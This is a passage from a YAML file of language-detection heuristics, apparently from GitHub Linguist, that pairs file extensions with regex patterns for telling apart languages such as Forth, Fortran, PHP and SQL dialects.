'^(\\w+:\\w*:\\w*:\\w*|BEGIN|END|provider\\s+|(tick|profile)-\\w+\\s+\\{[^}]*\\}|#pragma\\s+D\\s+(option|attributes|depends_on)\\s|#pragma\\s+ident\\s)'\n  - language: Makefile\n    # path/target : dependency \\\n    # target : \\\n    #  : dependency\n    # path/file.ext1 : some/path/../file.ext2\n    pattern: '([\\/\\\\].*:\\s+.*\\s\\\\$|: \\\\$|^[ %]:|^[\\w\\s\\/\\\\.]+\\w+\\.\\w+\\s*:\\s+[\\w\\s\\/\\\\.]+\\w+\\.\\w+)'\n- extensions: ['.dsp']\n  rules:\n  - language: Microsoft Developer Studio Project\n    pattern: '# Microsoft Developer Studio Generated Build File'\n  - language: Faust\n    pattern: '\\bprocess\\s*[(=]|\\b(library|import)\\s*\\(\\s*\"|\\bdeclare\\s+(name|version|author|copyright|license)\\s+\"'\n- extensions: ['.e']\n  rules:\n  - language: E\n    pattern:\n    - '^\\s*(def|var)\\s+(.+):='\n    - '^\\s*(def|to)\\s+(\\w+)(\\(.+\\))?\\s+\\{'\n    - '^\\s*(when)\\s+(\\(.+\\))\\s+->\\s+\\{'\n  - language: Eiffel\n    pattern:\n    - '^\\s*\\w+\\s*(?:,\\s*\\w+)*[:]\\s*\\w+\\s'\n    - '^\\s*\\w+\\s*(?:\\(\\s*\\w+[:][^)]+\\))?(?:[:]\\s*\\w+)?(?:--.+\\s+)*\\s+(?:do|local)\\s'\n    - '^\\s*(?:across|deferred|elseif|ensure|feature|from|inherit|inspect|invariant|note|once|require|undefine|variant|when)\\s*$'\n  - language: Euphoria\n    named_pattern: euphoria\n- extensions: ['.ecl']\n  rules:\n  - language: ECLiPSe\n    pattern: '^[^#]+:-'\n  - language: ECL\n    pattern: ':='\n- extensions: ['.es']\n  rules:\n  - language: Erlang\n    pattern: '^\\s*(?:%%|main\\s*\\(.*?\\)\\s*->)'\n  - language: JavaScript\n    pattern: '\\/\\/|[\"'']use strict[\"'']|export\\s+default\\s|\\/\\*(?:.|[\\r\\n])*?\\*\\/'\n- extensions: ['.ex']\n  rules:\n  - language: Elixir\n    pattern:\n    - '^\\s*@moduledoc\\s'\n    - '^\\s*(?:cond|import|quote|unless)\\s'\n    - '^\\s*def(?:exception|impl|macro|module|protocol)[(\\s]'\n  - language: Euphoria\n    named_pattern: euphoria\n- extensions: ['.f']\n  rules:\n  - language: Forth\n    pattern: '^: '\n  - language: Filebench WML\n    pattern: 'flowop'\n  - language: Fortran\n    named_pattern: fortran\n- extensions: ['.for']\n  rules:\n  - language: Forth\n    pattern: '^: '\n  - language: Fortran\n    named_pattern: fortran\n- extensions: ['.fr']\n  rules:\n  - language: Forth\n    pattern: '^(: |also |new-device|previous )'\n  - language: Frege\n    pattern: '^\\s*(import|module|package|data|type) '\n  - language: Text\n- extensions: ['.frm']\n  rules:\n  - language: VBA\n    and:\n    - named_pattern: vb-form\n    - pattern: '^\\s*Begin\\s+\\{[0-9A-Z\\-]*\\}\\s?'\n  - language: Visual Basic 6.0\n    and:\n    - named_pattern: vb-form\n    - pattern: '^\\s*Begin\\s+VB\\.Form\\s+'\n  - language: INI\n    pattern: '\\ATYPE=VIEW'\n- extensions: ['.fs']\n  rules:\n  - language: Forth\n    pattern: '^(: |new-device)'\n  - language: 'F#'\n    pattern: '^\\s*(#light|import|let|module|namespace|open|type)'\n  - language: GLSL\n    pattern: '^\\s*(#version|precision|uniform|varying|vec[234])'\n  - language: Filterscript\n    pattern: '#include|#pragma\\s+(rs|version)|__attribute__'\n- extensions: ['.ftl']\n  rules:\n  - language: FreeMarker\n    pattern: '^(?:<|[a-zA-Z-][a-zA-Z0-9_-]+[ \\t]+\\w)|\\$\\{\\w+[^\\r\\n]*?\\}|^[ \\t]*(?:<#--.*?-->|<#(?:[a-z]+)\\s[^>]*>.*?</#(?:[a-z]+)>|\\[#--.*?--\\]|\\[#(?:[a-z]+)\\s[^\\]]*\\].*?\\[#(?:[a-z]+)\\])'\n  - language: Fluent\n    pattern: '^-?[a-zA-Z][a-zA-Z0-9_-]* *=|\\{\\$-?[a-zA-Z][-\\w]*(?:\\.[a-zA-Z][-\\w]*)?\\}'\n- extensions: ['.g']\n  rules:\n  - language: GAP\n    pattern: '\\s*(Declare|BindGlobal|KeyDependentOperation|Install(Method|GlobalFunction)|SetPackageInfo)'\n  - language: G-code\n    pattern: '^[MG][0-9]+(?:\\r?\\n|\\r)'\n- extensions: ['.gd']\n  rules:\n  - language: GAP\n    pattern: '\\s*(Declare|BindGlobal|KeyDependentOperation)'\n  - language: GDScript\n    pattern: '\\s*(extends|var|const|enum|func|class|signal|tool|yield|assert|onready)'\n- extensions: ['.gml']\n  rules:\n  - language: XML\n    pattern: '(?i:^\\s*(<\\?xml|xmlns))'\n  - language: Graph Modeling Language\n    pattern: '(?i:^\\s*(graph|node)\\s+\\[$)'\n  - language: Gerber Image\n    pattern: '^[DGMT][0-9]{2}\\*$'\n  - language: Game Maker Language\n- extensions: ['.gs']\n  rules:\n  - language: GLSL\n    pattern: '^#version\\s+[0-9]+\\b'\n  - language: Gosu\n    pattern: '^uses (java|gw)\\.'\n  - language: Genie\n    pattern: '^\\[indent=[0-9]+\\]'\n- extensions: ['.gsc']\n  rules:\n  - language: GSC\n    named_pattern: gsc\n- extensions: ['.gsh']\n  rules:\n  - language: GSC\n    named_pattern: gsc\n- extensions: ['.gts']\n  rules:\n  - language: Gerber Image\n    pattern: '^G0.'\n  - language: Glimmer TS\n    negative_pattern: '^G0.'\n- extensions: ['.h']\n  rules:\n  - language: Objective-C\n    named_pattern: objectivec\n  - language: C++\n    named_pattern: cpp\n  - language: C\n- extensions: ['.hh']\n  rules:\n  - language: Hack\n    pattern: '<\\?hh'\n- extensions: ['.html']\n  rules:\n  - language: Ecmarkup\n    pattern: '<emu-(?:alg|annex|biblio|clause|eqn|example|figure|gann|gmod|gprose|grammar|intro|not-ref|note|nt|prodref|production|rhs|table|t|xref)(?:$|\\s|>)'\n  - language: HTML\n- extensions: ['.i']\n  rules:\n  - language: Motorola 68K Assembly\n    named_pattern: m68k\n  - language: SWIG\n    pattern: '^[ \\t]*%[a-z_]+\\b|^%[{}]$'\n  - language: Assembly\n    pattern:\n    - '(?i)mov\\s+[^\\s]+,'\n    - '^\\s+(i?)db\\s+[a-z\\d]'\n- extensions: ['.ice']\n  rules:\n  - language: JSON\n    named_pattern: json\n  - language: Slice\n- extensions: ['.inc']\n  rules:\n  - language: Motorola 68K Assembly\n    named_pattern: m68k\n  - language: PHP\n    pattern: '^<\\?(?:php)?'\n  - language: SourcePawn\n    pattern:\n    - '^public\\s+(?:SharedPlugin(?:\\s+|:)__pl_\\w+\\s*=(?:\\s*\\{)?|(?:void\\s+)?__pl_\\w+_SetNTVOptional\\(\\)(?:\\s*\\{)?)'\n    - '^methodmap\\s+\\w+\\s+<\\s+\\w+'\n    - '^\\s*MarkNativeAsOptional\\s*\\('\n  - language: NASL\n    pattern:\n    - '^\\s*include\\s*\\(\\s*(?:\"|'')[\\\\/\\w\\-\\.:\\s]+\\.(?:nasl|inc)\\s*(?:\"|'')\\s*\\)\\s*;'\n    - '^\\s*(?:global|local)_var\\s+(?:\\w+(?:\\s*=\\s*[\\w\\-\"'']+)?\\s*)(?:,\\s*\\w+(?:\\s*=\\s*[\\w\\-\"'']+)?\\s*)*\\s*;'\n    - '^\\s*namespace\\s+\\w+\\s*\\{'\n    - '^\\s*object\\s+\\w+\\s*(?:extends\\s+\\w+(?:::\\w+)?)?\\s*\\{'\n    - '^\\s*(?:public\\s+|private\\s+|\\s*)function\\s+\\w+\\s*\\([\\w\\s,]*\\)\\s*\\{'\n  - language: POV-Ray SDL\n    pattern: '^\\s*#(declare|local|macro|while)\\s'\n  - language: Pascal\n    pattern:\n    - '(?i:^\\s*\\{\\$(?:mode|ifdef|undef|define)[ ]+[a-z0-9_]+\\})'\n    - '^\\s*end[.;]\\s*$'\n  - language: BitBake\n    pattern: '^inherit(\\s+[\\w.-]+)+\\s*$'\n  - language: Assembly\n    pattern:\n    - '^(?i)[^\"m]*mov\\s+[^\\s]+,'\n    - '^\\s+(?i)db\\s+[a-z\\d]'\n- extensions: ['.json']\n  rules:\n  - language: OASv2-json\n    pattern: '\"swagger\":\\s?\"2.[0-9.]+\"'\n  - language: OASv3-json\n    pattern: '\"openapi\":\\s?\"3.[0-9.]+\"'\n  - language: JSON\n- extensions: ['.k']\n  rules:\n  - language: KCL\n    pattern:\n      - '^schema [A-Za-z0-9_-]+'\n      - '^\\}$'\n      - '\\s*\\}\\s*'\n  - language: KFramework\n    pattern:\n    - '^requires\\s+\"[^\"]+\"$'\n    - '^syntax\\s+\\w+\\s+::=.*'\n    - '^endmodule$'\n- extensions: ['.l']\n  rules:\n  - language: Common Lisp\n    pattern: '\\(def(un|macro)\\s'\n  - language: Lex\n    pattern: '^(%[%{}]xs|<.*>)'\n  - language: Roff\n    pattern: '^\\.[A-Za-z]{2}(\\s|$)'\n  - language: PicoLisp\n    pattern: '^\\((de|class|rel|code|data|must)\\s'\n- extensions: ['.lean']\n  rules:\n  - language: Lean\n    pattern: '^import [a-z]'\n  - language: Lean 4\n    pattern: '^import [A-Z]'\n- extensions: ['.lp']\n  rules:\n  - language: Lambdapi\n    pattern: '(?:^|\\s)symbol(?:$|\\s)|(?:^|\\s)rule(?:$|\\s)'\n  - language: Linear Programming\n    pattern: '(?i)^\\s*(?:minimize|minimum|min|maximize|maximum|max)(?:\\s+multi-objectives)?\\s*$'\n  - language: Answer Set Programming\n    pattern:\n    - '^\\s*#(?:include|const|program|script|show|minimize|maximize|heuristic|project|edge|theory|defined)\\b'\n    - '^\\s*(?:[A-Za-z_]\\w*(?:\\([^)]*\\))?\\s*:-|:-)\\s[^.]*\\.'\n    - '^\\s*[a-z_][a-zA-Z0-9_]*(?:\\([^)]*\\))?\\s*\\.\\s*$'\n- extensions: ['.ls']\n  rules:\n  - language: LoomScript\n    pattern: '^\\s*package\\s*[\\w\\.\\/\\*\\s]*\\s*\\{'\n  - language: LiveScript\n- extensions: ['.lsp', '.lisp']\n  rules:\n  - language: Common Lisp\n    pattern: '^\\s*\\((?i:defun|in-package|defpackage) '\n  - language: NewLisp\n    pattern: '^\\s*\\(define '\n- extensions: ['.m']\n  rules:\n  - language: Objective-C\n    named_pattern: objectivec\n  - language: Mercury\n    pattern: ':- module'\n  - language: MUF\n    pattern: '^: '\n  - language: M\n    pattern: '^\\s*;'\n  - language: Wolfram Language\n    and:\n      - pattern: '\\(\\*'\n      - pattern: '\\*\\)$'\n  - language: MATLAB\n    pattern: '^\\s*%'\n  - language: Limbo\n    pattern: '^\\w+\\s*:\\s*module\\s*\\{'\n- extensions: ['.m4']\n  rules:\n  - language: M4Sugar\n    pattern:\n    - 'AC_DEFUN|AC_PREREQ|AC_INIT'\n    - '^_?m4_'\n  - language: 'M4'\n- extensions: ['.mask']\n  rules:\n  - language: Unity3D Asset\n    pattern: 'tag:unity3d.com'\n- extensions: ['.mc']\n  rules:\n  - language: Win32 Message File\n    pattern: '(?i)^[ \\t]*(\\/\\*\\s*)?MessageId=|^\\.$'\n  - language: M4\n    pattern: '^dnl|^divert\\((?:-?\\d+)?\\)|^\\w+\\(`[^\\r\\n]*?''[),]'\n  - language: Monkey C\n    pattern: '\\b(?:using|module|function|class|var)\\s+\\w'\n- extensions: ['.md']\n  rules:\n  - language: Markdown\n    pattern:\n    - '(^[-A-Za-z0-9=#!\\*\\[|>])|<\\/'\n    - '\\A\\z'\n  - language: GCC Machine Description\n    pattern: '^(;;|\\(define_)'\n  - language: Markdown\n- extensions: ['.ml']\n  rules:\n  - language: OCaml\n    pattern: '(^\\s*module)|let rec |match\\s+(\\S+\\s)+with'\n  - language: Standard ML\n    pattern: '=> |case\\s+(\\S+\\s)+of'\n- extensions: ['.mod']\n  rules:\n  - language: XML\n    pattern: '<!ENTITY '\n  - language: NMODL\n    pattern: '\\b(NEURON|INITIAL|UNITS)\\b'\n  - language: Modula-2\n    pattern: '^\\s*(?i:MODULE|END) [\\w\\.]+;'\n  - language: [Linux Kernel Module, AMPL]\n- extensions: ['.mojo']\n  rules:\n  - language: Mojo\n    pattern: '^\\s*(alias|def|from|fn|import|struct|trait)\\s'\n  - language: XML\n    pattern: '^\\s*<\\?xml'\n- extensions: ['.mps']\n  rules:\n  - language: JetBrains MPS\n    pattern: '<persistence'\n  - language: Mathematical Programming System\n    pattern: '(?i)^\\s*(ROWS|COLUMNS)\\s*$'\n- extensions: ['.ms']\n  rules:\n  - language: Roff\n    pattern: '^[.''][A-Za-z]{2}(\\s|$)'\n  - language: Unix Assembly\n    and:\n      - negative_pattern: '/\\*'\n      - pattern: '^\\s*\\.(?:include\\s|globa?l\\s|[A-Za-z][_A-Za-z0-9]*:)'\n  - language: MAXScript\n- extensions: ['.msg']\n  rules:\n  - language: OMNeT++ MSG\n    pattern: '^cplusplus\\(?[\\S]*\\)?[\\s]*\\{?\\{?|^namespace[\\s]+([^.\\s]*\\.)*[^.\\s]*;|^struct[\\s]+[\\S]+|^message[\\s]+[\\S]+(extends )?[\\S]*[\\s]*|^packet[\\s]+[\\S]+|^class[\\s]+[\\S]+(extends )?[\\S]*[\\s]*|^enum[\\s]+[\\S]+|^import ([^.\\s]*\\.)*[^.\\s]*;'\n  - language: ROS Interface\n    and:\n      - pattern: '(?i)^[a-z]\\w*(?:\\/[a-z]\\w*)?(?:<=\\d+)?(?:\\[(?:<=\\d+)?\\])?\\s+\\w+\\b'\n      - negative_pattern: '^\\s*[^\\s@#\\w-]'\n- extensions: ['.n']\n  rules:\n  - language: Roff\n    pattern: '^[.'']'\n  - language: Nemerle\n    pattern: '^(module|namespace|using)\\s'\n- extensions: ['.ncl']\n  rules:\n  - language: XML\n    pattern: '^\\s*<\\?xml\\s+version'\n  - language: Gerber Image\n    pattern: '^[DGMT][0-9]{2}\\*(?:\\r?\\n|\\r)'\n  - language: Nickel\n    pattern:\n    - '^let(?:\\srec)?(?:\\s[a-zA-Z_][a-zA-Z0-9_]*)?'\n    - '^import\\s\"[^\"]+\"\\s+as\\s'\n    - 'std\\.[a-zA-Z_][a-zA-Z0-9_]*\\.'\n  - language: Text\n    pattern: 'THE_TITLE'\n  - language: NCL\n    pattern:\n    - '^load \"'\n    - '^begin$'\n    - '[0-9]\\.$'\n    - '^;'\n- extensions: ['.nl']\n  rules:\n  - language: NL\n    pattern: '^(b|g)[0-9]+ '\n  - language: NewLisp\n- extensions: ['.nr']\n  rules:\n  - language: Roff\n    pattern: '^\\.'\n  - language: Noir\n- extensions: ['.nu']\n  rules:\n  - language: Nushell\n    pattern: '^\\s*(import|export|module|def|let|let-env) '\n  - language: Nu\n- extensions: ['.odin']\n  rules:\n  - language: Object Data Instance Notation\n    pattern: '(?:^|<)\\s*[A-Za-z0-9_]+\\s*=\\s*<'\n  - language: Odin\n    pattern: 'package\\s+\\w+|\\b(?:im|ex)port\\s*\"[\\w:./]+\"|\\w+\\s*::\\s*(?:proc|struct)\\s*\\(|^\\s*//\\s'\n- extensions: ['.p']\n  rules:\n  - language: Gnuplot\n    pattern:\n    - '^s?plot\\b'\n    - '^set\\s+(term|terminal|out|output|[xy]tics|[xy]label|[xy]range|style)\\b'\n  - language: OpenEdge ABL\n    pattern:\n    - '(?i)\\bDEFINE\\s+(?:VARIABLE|TEMP-TABLE|BUFFER|QUERY|INPUT\\s+PARAMETER|OUTPUT\\s+PARAMETER)\\b'\n    - '(?i)\\bEND(?:\\s+(?:PROCEDURE|FUNCTION|DO|FOR\\s+EACH))?\\.'\n- extensions: ['.php']\n  rules:\n  - language: Hack\n    pattern: '<\\?hh'\n  - language: PHP\n    pattern: '<\\?[^h]'\n- extensions: ['.pkl']\n  rules:\n    - language: Pkl\n      pattern:\n      - '^\\s*(module|import|amends|extends|local|const|fixed|abstract|open|class|typealias|@\\w+)\\b'\n      - '^\\s*[a-zA-Z0-9_$]+\\s*(=|{|:)|^\\s*`[^`]+`\\s*(=|{|:)|for\\s*\\(|when\\s*\\('\n    - language: Pickle\n- extensions: ['.pl']\n  rules:\n  - language: Prolog\n    pattern: '^[^#]*:-'\n  - language: Perl\n    and:\n      - negative_pattern: '^\\s*use\\s+v6\\b'\n      - named_pattern: perl\n  - language: Raku\n    named_pattern: raku\n- extensions: ['.plist']\n  rules:\n  - language: XML Property List\n    pattern: '^\\s*(?:<\\?xml\\s|<!DOCTYPE\\s+plist|<plist(?:\\s+version\\s*=\\s*[\"'']\\d+(?:\\.\\d+)?[\"''])?\\s*>\\s*$)'\n  - language: OpenStep Property List\n- extensions: ['.plt']\n  rules:\n  - language: Prolog\n    pattern: '^\\s*:-'\n- extensions: ['.pm']\n  rules:\n  - language: Perl\n    and:\n      - negative_pattern: '^\\s*use\\s+v6\\b'\n      - named_pattern: perl\n  - language: Raku\n    named_pattern: raku\n  - language: X PixMap\n    pattern: '^\\s*\\/\\* XPM \\*\\/'\n- extensions: ['.pod']\n  rules:\n  - language: Pod 6\n    pattern: '^[\\s&&[^\\r\\n]]*=(comment|begin pod|begin para|item\\d+)'\n  - language: Pod\n- extensions: ['.pp']\n  rules:\n  - language: Pascal\n    pattern: '^\\s*end[.;]'\n  - language: Puppet\n    pattern: '^\\s+\\w+\\s+=>\\s'\n- extensions: ['.pro']\n  rules:\n  - language: Proguard\n    pattern: '^-(include\\b.*\\.pro$|keep\\b|keepclassmembers\\b|keepattributes\\b)'\n  - language: Prolog\n    pattern: '^[^\\[#]+:-'\n  - language: INI\n    pattern: 'last_client='\n  - language: QMake\n    and:\n    - pattern: HEADERS\n    - pattern: SOURCES\n  - language: IDL\n    pattern: '^\\s*(?i:function|pro|compile_opt) \\w[ \\w,:]*$'\n- extensions: ['.properties']\n  rules:\n  - language: INI\n    and:\n    - named_pattern: key_equals_value\n    - pattern: '^[;\\[]'\n  - language: Java Properties\n    and:\n    - named_pattern: key_equals_value\n    - pattern: '^[#!]'\n  - language: INI\n    named_pattern: key_equals_value\n  - language: Java Properties\n    pattern: '^[^#!][^:]*:'\n- extensions: ['.q']\n  rules:\n  - language: q\n    pattern: '((?i:[A-Z.][\\w.]*:\\{)|^\\\\(cd?|d|l|p|ts?) )'\n  - language: HiveQL\n    pattern: '(?i:SELECT\\s+[\\w*,]+\\s+FROM|(CREATE|ALTER|DROP)\\s(DATABASE|SCHEMA|TABLE))'\n- extensions: ['.qs']\n  rules:\n  - language: Q#\n    pattern: '^((\\/{2,3})?\\s*(namespace|operation)\\b)'\n  - language: Qt Script\n    pattern: '(\\w+\\.prototype\\.\\w+|===|\\bvar\\b)'\n- extensions: ['.r']\n  rules:\n  - language: Rebol\n    pattern: '(?i:\\bRebol\\b)'\n  - language: Rez\n    pattern: '(#include\\s+[\"<](Types\\.r|Carbon\\/Carbon\\.r)[\">])|((resource|data|type)\\s+''[A-Za-z0-9]{4}''\\s+((\\(.*\\)\\s+){0,1}){)'\n  - language: R\n    pattern: '<-|^\\s*#'\n- extensions: ['.re']\n  rules:\n  - language: Reason\n    pattern:\n    - '^\\s*module\\s+type\\s'\n    - '^\\s*(?:include|open)\\s+\\w+\\s*;\\s*$'\n    - '^\\s*let\\s+(?:module\\s\\w+\\s*=\\s*\\{|\\w+:\\s+.*=.*;\\s*$)'\n  - language: C++\n    pattern:\n    - '^\\s*#(?:(?:if|ifdef|define|pragma)\\s+\\w|\\s*include\\s+<[^>]+>)'\n    - '^\\s*template\\s*<'\n- extensions: ['.res']\n  rules:\n  - language: ReScript\n    pattern:\n    - '^\\s*(let|module|type)\\s+\\w*\\s+=\\s+'\n    - '^\\s*(?:include|open)\\s+\\w+\\s*$'\n- extensions: ['.resource']\n  rules:\n  - language: RobotFramework\n    pattern:\n    - '^\\*{3} (Settings|Variables|Keywords) \\*{3}$'\n- extensions: ['.rno']\n  rules:\n  - language: RUNOFF\n    pattern: '(?i:^\\.!|^\\f|\\f$|^\\.end lit(?:eral)?\\b|^\\.[a-zA-Z].*?;\\.[a-zA-Z](?:[; \\t])|\\^\\*[^\\s*][^*]*\\\\\\*(?:$|\\s)|^\\.c;[ \\t]*\\w+)'\n  - language: Roff\n    pattern: '^\\.\\\\\" '\n- extensions: ['.rpy']\n  rules:\n  - language: Python\n    pattern: '^(import|from|class|def)\\s'\n  - language: \"Ren'Py\"\n- extensions: ['.rs']\n  rules:\n  - language: Rust\n    pattern: '^(use |fn |mod |pub |macro_rules|impl|#!?\\[)'\n  - language: RenderScript\n    pattern: '#include|#pragma\\s+(rs|version)|__attribute__'\n  - language: XML\n    pattern: '^\\s*<\\?xml'\n- extensions: ['.s']\n  rules:\n  - language: Unix Assembly\n    pattern: '(?i:mov[lq]?)\\s+[%\\$]'\n  - language: Assembly\n    pattern: '(?i:mov)\\s+[^\\s%]{2,},'\n  - language: Motorola 68K Assembly\n    named_pattern: m68k\n- extensions: ['.sc']\n  rules:\n  - language: SuperCollider\n    pattern: '(?i:\\^(this|super)\\.|^\\s*~\\w+\\s*=\\.)'\n  - language: Scala\n    pattern: '(^\\s*import (scala|java)\\.|^\\s*class\\b)'\n- extensions: ['.scd']\n  rules:\n  - language: SuperCollider\n    pattern: '(?i:\\^(this|super)\\.|^\\s*(~\\w+\\s*=\\.|SynthDef\\b))'\n  - language: Markdown\n    # Markdown syntax for scdoc\n    pattern: '^#+\\s+(NAME|SYNOPSIS|DESCRIPTION)'\n- extensions: ['.scm']\n  rules:\n  - language: Tree-sitter Query\n    pattern:\n    - '\\(#[\\w-]+[!\\?]'\n    - '(?:[\\)\\]]\\s*[\\*\\+\\?](?:\\s|$))'\n    - '(?:^\\s*\\w+:\\s*[\\(\\[\\\"])'\n    - '\\(#(?:set!|(?:not-)?(?:any-of|match)\\?)'\n    - '@[\\w.-]+(?:\\)\\s|$)'\n    negative_pattern:\n    - '\\([+\\-:<>\\/=~\\)]'\n  - language: Scheme\n    pattern:\n    - '(?:''[\\(\\*#]|\\w->\\w|\\.\\.\\.[\\s\\)]|\\([+\\-:<>\\/=~\\)]|~>|[#`]\\(|#:\\w)'\n    - '^\\s*\\((?:define\\*?|import|library|lambda)'\n    negative_pattern:\n    - '\\(#[\\w-]+[!\\?]'\n    - '(?:[\\)\\]]\\s*[\\*\\+\\?](?:\\s|$))'\n    - '@[\\w.-]+(?:\\)\\s|$)'\n- extensions: ['.sol']\n  rules:\n  - language: Solidity\n    pattern: '\\bpragma\\s+solidity\\b|\\b(?:abstract\\s+)?contract\\s+[a-zA-Z$_][a-zA-Z0-9$_]*(?:\\s+is\\s+(?:[a-zA-Z0-9$_][^\\{]*?)?)?\\s*\\{'\n  - language: Gerber Image\n    pattern: '^[DGMT][0-9]{2}\\*(?:\\r?\\n|\\r)'\n- extensions: ['.sql']\n  rules:\n   # Postgres\n  - language: PLpgSQL\n    pattern: '(?i:^\\\\i\\b|AS\\s+\\$\\$|LANGUAGE\\s+''?plpgsql''?|BEGIN(\\s+WORK)?\\s*;)'\n  # IBM db2\n  - language: SQLPL\n    pattern: '(?i:ALTER\\s+MODULE|MODE\\s+DB2SQL|\\bSYS(CAT|PROC)\\.|ASSOCIATE\\s+RESULT\\s+SET|\\bEND!\\s*$)'\n  # Oracle\n  - language: PLSQL\n    pattern: '(?i:\\$\\$PLSQL_|XMLTYPE|systimestamp|\\.nextval|CONNECT\\s+BY|AUTHID\\s+(DEFINER|CURRENT_USER)|constructor\\W+function)'\n  # T-SQL\n  - language: TSQL\n    pattern: '(?i:^\\s*GO\\b|BEGIN(\\s+TRY|\\s+CATCH)|OUTPUT\\s+INSERTED|DECLARE\\s+@|\\[dbo\\])'\n  - language: SQL\n- extensions: ['.srt']\n  rules:\n  - language: SubRip Text\n    pattern: '^(\\d{2}:\\d{2}:\\d{2},\\d{3})\\s*(-->)\\s*(\\d{2}:\\d{2}:\\d{2},\\d{3})$'\n- extensions: ['.srv']\n  rules:\n  - language: ROS Interface\n    and:\n      - pattern: '(?i)^[a-z]\\w*(?:\\/[a-z]\\w*)?(?:<=\\d+)?(?:\\[(?:<=\\d+)?\\])?\\s+\\w+\\b'\n      - pattern: '^---\\s*$'\n      - negative_pattern: '^\\s*[^\\s@#\\w-]'\n- extensions: ['.st']\n  rules:\n  - language: StringTemplate\n    pattern: '\\$\\w+[($]|.!\\s*.+?\\s*!.|<!\\s*.+?\\s*!>|\\[!\\s*.+?\\s*!\\]|\\{!\\s*.+?\\s*!\\}'\n  - language: Smalltalk\n    pattern: '\\A\\s*[\\[{(^\"''\\w#]|[a-zA-Z_]\\w*\\s*:=\\s*[a-zA-Z_]\\w*|class\\s*>>\\s*[a-zA-Z_]\\w*|^[a-zA-Z_]\\w*\\s+[a-zA-Z_]\\w*:|^Class\\s*\\{|if(?:True|False):\\s*\\['\n- extensions: ['.star']\n  rules:\n  - language: STAR\n    pattern: '^loop_\\s*$'\n  - language: Starlark\n- extensions: ['.stl']\n  rules:\n  - language: STL\n    pattern: '\\A\\s*solid(?:$|\\s)[\\s\\S]*^endsolid(?:$|\\s)'\n- extensions: ['.svx']\n  rules:\n  - language: Survex data\n    pattern: '\\A(;|\\*[^*]+$)'\n  - language: mdsvex\n- extensions: ['.sw']\n  rules:\n  - language: Sway\n    pattern: '^\\s*(?:(?:abi|dep|fn|impl|mod|pub|trait)\\s|#\\[)'\n  - language: XML\n    pattern: '^\\s*<\\?xml\\s+version'\n- extensions: ['.t']\n  rules:\n  - language: Perl\n    and:\n      - negative_pattern: '^\\s*use\\s+v6\\b'\n      - named_pattern: perl\n  - language: Raku\n    pattern: '^\\s*(?:use\\s+v6\\b|\\bmodule\\b|\\bmy\\s+class\\b)'\n  - language: Turing\n    pattern: '^\\s*%[ \\t]+|^\\s*var\\s+\\w+(\\s*:\\s*\\w+)?\\s*:=\\s*\\w+'\n- extensions: ['.tact']\n  rules:\n  - language: JSON\n    pattern: '\\A\\s*\\{\\\"'\n  - language: Tact\n- extensions: ['.tag']\n  rules:\n  - language: Java Server Pages\n    pattern: '<%[@!=\\s]?\\s*(taglib|tag|include|attribute|variable)\\s'\n- extensions: ['.tl']\n  rules:\n  - language: Teal\n    and:\n    - pattern: '--.*'\n    - pattern: '\\b(local|function|end|record|interface|enum)\\b'\n  - language: Type Language\n- extensions: ['.tlv']\n  rules:\n  - language: TL-Verilog\n    pattern: '^\\\\.{0,10}TLV_version'\n- extensions: ['.toc']\n  rules:\n  - language: World of Warcraft Addon Data\n    pattern: '^## |@no-lib-strip@'\n  - language: TeX\n    pattern: '^\\\\(contentsline|defcounter|beamer|boolfalse)'\n- extensions: ['.tpl']\n  rules:\n  - language: Go Template\n    pattern: '\\{\\{-?\\s*(\\`?\\\"\\\\?\\\"?|\\/\\*\\s|\\w*)\\b'\n  - language: Smarty\n    pattern: '(?<!\\{)\\{(\\*\\s|\\$|\\/)?\\w*\\b'\n- extensions: ['.ts']\n  rules:\n  - language: XML\n    pattern: '<TS\\b'\n  - language: TypeScript\n- extensions: ['.tsp']\n  rules:\n  - language: TypeSpec\n    pattern: '^(import|using|namespace|interface|op|model|scalar|alias|union|enum)\\s'\n  - language: TSPLIB data\n    pattern: '^(NAME|TYPE|DIMENSION|EDGE_WEIGHT_TYPE|EDGE_WEIGHT_FORMAT)\\s*:'\n- extensions: ['.tst']\n  rules:\n  - language: GAP\n    pattern: 'gap> '\n  # Heads up - we don't usually write heuristics like this (with no regex match)\n  - language: Scilab\n- extensions: ['.tsx']\n  rules:\n  - language: XML\n    pattern: '(?i:^\\s*<\\?xml\\s+version)'\n  - language: TSX\n- extensions: ['.txt']\n  rules:\n    # The following RegExp is simply a collapsed and simplified form of the\n    # VIM_MODELINE pattern in `./lib/linguist/strategy/modeline.rb`.\n  - language: Vim Help File\n    pattern: '(?:(?:^|[ \\t])(?:vi|Vi(?=m))(?:m[<=>]?[0-9]+|m)?|[ \\t]ex)(?=:(?=[ \\t]*set?[ \\t][^\\r\\n:]+:)|:(?![ \\t]*set?[ \\t]))(?:(?:[ \\t]*:[ \\t]*|[ \\t])\\w*(?:[ \\t]*=(?:[^\\\\\\s]|\\\\.)*)?)*[ \\t:](?:filetype|ft|syntax)[ \\t]*=(help)(?=$|\\s|:)'\n  - language: Hosts File\n    pattern: |-\n      (?xi) ^\n\n      # IPv4 address\n      (?<ipv4>\n        (?!\\.)\n        (?:\\.?\n          (?: 25[0-5]  # 250-255\n          |   2[0-4]\\d # 200-249\n          |   1\\d\\d    # 100-199\n          |   [1-9]?\\d # 0-99\n          )\\b\n      ){4})\n\n      # CIDR notation: /[0-32]\n      (?<cidr>/(3[0-2]|[12]?\\d)\\b)?\n\n      # Domains list\n      (?<domains>\n        [ \\t]+\n        \\w[-\\w]* (?:\\.\\w[-\\w]*)*\n        (?<!-)\\b\n      )*+\n\n      (?:$|\\s)\n  - language: Adblock Filter List\n    pattern: |-\n      (?x)\\A\n      \\[\n      (?<version>\n        (?:\n          [Aa]d[Bb]lock\n          (?:[ \\t][Pp]lus)?\n          |\n          u[Bb]lock\n          (?:[ \\t][Oo]rigin)?\n          |\n          [Aa]d[Gg]uard\n        )\n        (?:[ \\t] \\d+(?:\\.\\d+)*+)?\n      )\n      (?:\n        [ \\t]?;[ \\t]?\n        \\g<version>\n      )*+\n      \\]\n    # HACK: This is a contrived use of heuristics needed to address\n    # an unusual edge-case. See https://git.io/JULye for discussion.\n  - language: Text\n- extensions: ['.typ']\n  rules:\n  - language: Typst\n    pattern: '^#(import|show|let|set)'\n  - language: XML\n- extensions: ['.url']\n  rules:\n  - language: INI\n    pattern: '^\\[InternetShortcut\\](?:\\r?\\n|\\r)([^\\s\\[][^\\r\\n]*(?:\\r?\\n|\\r)){0,20}URL='\n- extensions: ['.v']\n  rules:\n  - language: Rocq Prover\n    pattern: 